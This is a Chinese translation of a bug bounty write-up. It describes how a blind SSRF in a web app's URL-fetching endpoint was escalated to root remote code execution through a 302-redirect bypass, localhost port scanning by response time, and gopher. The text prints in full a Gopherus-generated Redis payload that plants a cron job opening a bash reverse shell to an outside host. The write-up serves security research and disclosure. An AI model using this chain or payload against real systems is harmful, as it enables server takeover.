翻译文章 | Just gopher it!无回显SSRF升级为RCE

admin 2021年5月26日12:04:55评论45 views字数 5057阅读16分51秒阅读模式

前言


发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序。我能说的是,这是在Hackerone运行时间最长、规模最大的bug赏金活动中发现的。多个Hackerone的现场黑客活动已经包括这个活动,毋庸置疑,这是一家拥有世界级安全团队的公司,多年来一直有大量专门针对它的黑客专家这使得这个漏洞的存在更加令人惊讶。


侦察


通常对于一个大范围的bug赏金程序,我会从子域枚举开始,以增加我的攻击面,但在这种情况下,我只针对我的目标上的一个web应用程序。


因为我只专注于一个web应用,所以我开始使用GAU工具获取url和路径列表。我还查看了各种javascript文件以寻找隐藏的路径,并使用ffuf工具进行了一些目录模糊爆破。我通过这些方法找到了一些有趣的路径,但没有发现任何可攻击的。


由于第一种侦查方法没有导致任何发现,我尝试了另一种方法-测试web应用程序的各种功能,同时运行Burp代理在后台,所有发出的请求都存储在Burp中的一个有组织的列表中,这样就可以很容易地查看所有请求,以寻找任何有趣的或可能存在漏洞的内容。


在测试web应用程序的功能后,我开始查看存储在代理日志中的请求,并遇到类似的请求:


GET /xxx/logoGrabber?url=http://example.com
Host: site.example.com


一个接受url参数的GET请求。这个请求的响应看起来是这样的,包含了关于url的标题和logo的信息:


{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}


这个请求立即引起了我的兴趣,因为它返回了一些关于URL的数据。当遇到从URL返回信息的请求时,测试SSRF是一个好主意。


发现SSRF


我在SSRF的第一次尝试失败了。我能够得到外部与我的服务器的交互,但没有获得任何内部IP地址,因为他们有适当的保护。


在未能命中任何内部IP地址后,我决定看看能否命中该公司的任何公开的子域名,我为我的目标做了一些子域枚举,然后开始在请求时覆盖所有枚举域。


最后,我很幸运地发现了一些请求,这些请求返回了来自非公开访问站点的标题数据。


子域名somecorpsite.example.com就是一个很好的例子。当我试图在浏览器中访问http://somecorpsite.example.com时,请求超时了,但当我提交请求时:


GET /xxx/logoGrabber?url=http://somecorpsite.example.comworld!");
Host: site.example.com


回复包含了内部标题和logo信息:


{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.example.com"
"urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.example.com/logos/logo.png"}


翻译文章 | Just gopher it!无回显SSRF升级为RCE


现在我可以点击内部子域名访问标题和标志的url,我决定提交一个报告给我的目标无回显SSRF。内部标题信息没有包含任何过于敏感的内容,没有其他页面内容被返回,所以我认为这将被认为是一个相当低的影响无回显SSRF,但我没有想法来升级这个,并决定报告它。


一段时间后,报告被接受了,并进行了归档。


RCE


自从我的原始报告被归档后,大约一个月过去了。我很高兴它被归档了,但我知道影响很低,我可能不会从中得到什么。


SSRF仍然是可攻击的,尚未修复,所以我决定做一些更多的研究,试图进一步升级它。在我的研究过程中,我了解到Gopher协议是升级ssrf的一种很好的方式,在某些情况下可以导致完整的远程代码执行。


为了测试gopher协议是否被支持,我提交了类似如下的请求:


GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: site.example.com


不幸的是,请求立即失败,并导致服务器错误。没有向我的Burp服务器提出任何请求,所以似乎gopher协议不被支持。


在继续我的测试时,我在网上看到重定向通常是绕过某些SSRF保护的好方法,所以我决定测试服务器是否遵循重定向。


为了测试重定向是否有效,我设置了一个Python http服务器,302将所有GET流量重定向到我的Burp服务器


python3 302redirect.py port “http://mycollaboratorurl/”


然后,我提交了如下请求,以查看重定向是否击中我的服务器:


GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com


提交请求后,我注意到重定向被跟踪,导致命中我的Burp服务器url。所以现在我已经验证了302个重定向被跟踪了。


现在重定向工作了,我决定用gopher协议来测试它。最初在请求中提交gopher有效负载直接导致服务器错误,所以我像下面这样设置重定向服务器来测试gopher是否可以通过重定向工作:


python3 302redirect.py port “gopher://mycollaboratorurl/”


然后再把请求提交


GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com


令我惊讶的是,它成功了——重定向被跟踪了,我收到了对我的服务器url的请求!有一些过滤器反对Gopher协议的url,但如果我重定向从我自己的服务器,它就能绕过这个防护,重定向被跟踪Gopher有效载荷被执行!


不仅gopher有效负载通过302重定向执行,而且我意识到使用gopher我现在还可以命中以前过滤过的内部IP地址,如127.0.0.1。


翻译文章 | Just gopher it!无回显SSRF升级为RCE


现在我有了Gopher有效负载,可以访问内部主机,我必须弄清楚可以与哪些服务进行交互,以便升级。在做了一些搜索之后,我发现了gopher工具,它可以生成gopher有效载荷来升级SSRF。它包含以下服务的有效载荷:


gopherus(https://github.com/tarunkant/Gopherus)


  1. MySQL (Port-3306)

  2. FastCGI (Port-9000)

  3. Memcached (Port-11211)

  4. Redis (Port-6379)

  5. Zabbix (Port-10050)

  6. SMTP (Port-25)


为了确定127.0.0.1上是否开放了上述任何端口,我使用了SSRF和端口扫描的响应时间。


通过302重定向我的web服务器到gopher://127.0.0.1:port,然后提交请求


GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: site.example.com


我可以识别开放的端口,因为如果端口关闭,请求的响应时间会很长,如果端口打开,请求的响应时间会很短。使用这个端口扫描方法,我检查了以上所有6个端口。一个端口似乎是开放的-端口6379 (Redis)


302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN


现在情况开始好转了。我想要的都有了:


  1. Gopher协议被302重定向接收

  2. 能够用gopher有效载荷攻击本地主机

  3. 确定在本地主机上运行的一个可能存在漏洞的服务


使用Gopherus,我生成了一个Redis反向shell负载,最终看起来像这样:


gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A


如果这个有效负载成功,它将对我的netcat侦听器产生一个反向shell。我把我的服务器重定向到gopher有效负载,就像这样:


python3 302redirect.py port gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"


一旦我的web服务器启动,我还在端口1337上启动了一个Netcat侦听器来捕获任何传入的反向shell。


最后,揭晓真相的时刻到了,我提交了请求:


GET /xxx/logoGrabber?url=http://my302redirectserver/Host: site.example.com


什么也没有发生,我看到一个请求来到我的重定向服务器,但没有反向shell返回到我的netcat,这就是我想的结局,果然还是挖不到rce,selfxss才适合我。


我想也许我的端口扫描是误报的,没有Redis服务器运行在本地主机上。


翻译文章 | Just gopher it!无回显SSRF升级为RCE


我接受了失败,开始关闭一切,我真的把鼠标放在运行netcat的终端的X按钮上,离点击关闭netcat只有几毫秒,突然!


我真的不知道为什么会延迟这么久,但是在提交请求大约5分钟后,我收到了一个反向shell。我很高兴我让监听一直听着,否则我永远不会知道我有一个RCE。


翻译文章 | Just gopher it!无回显SSRF升级为RCE


我运行whoami来验证我有RCE(并且我是root!),然后立即断开连接并使用新的信息更新我的原始报告。


翻译文章 | Just gopher it!无回显SSRF升级为RCE


翻译文章 | Just gopher it!无回显SSRF升级为RCE

【周度激励】

翻译文章 | Just gopher it!无回显SSRF升级为RCE


【相关精选文章】

洞态IAST实现思路分享及讨论

提交漏洞报告的细节和利用


火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火线小助手]加入


我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!


欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!

翻译文章 | Just gopher it!无回显SSRF升级为RCE
翻译文章 | Just gopher it!无回显SSRF升级为RCE


本文始发于微信公众号(火线Zone):翻译文章 | Just gopher it!无回显SSRF升级为RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月26日12:04:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   翻译文章 | Just gopher it!无回显SSRF升级为RCEhttp://cn-sec.com/archives/381289.html

发表评论

匿名网友 填写信息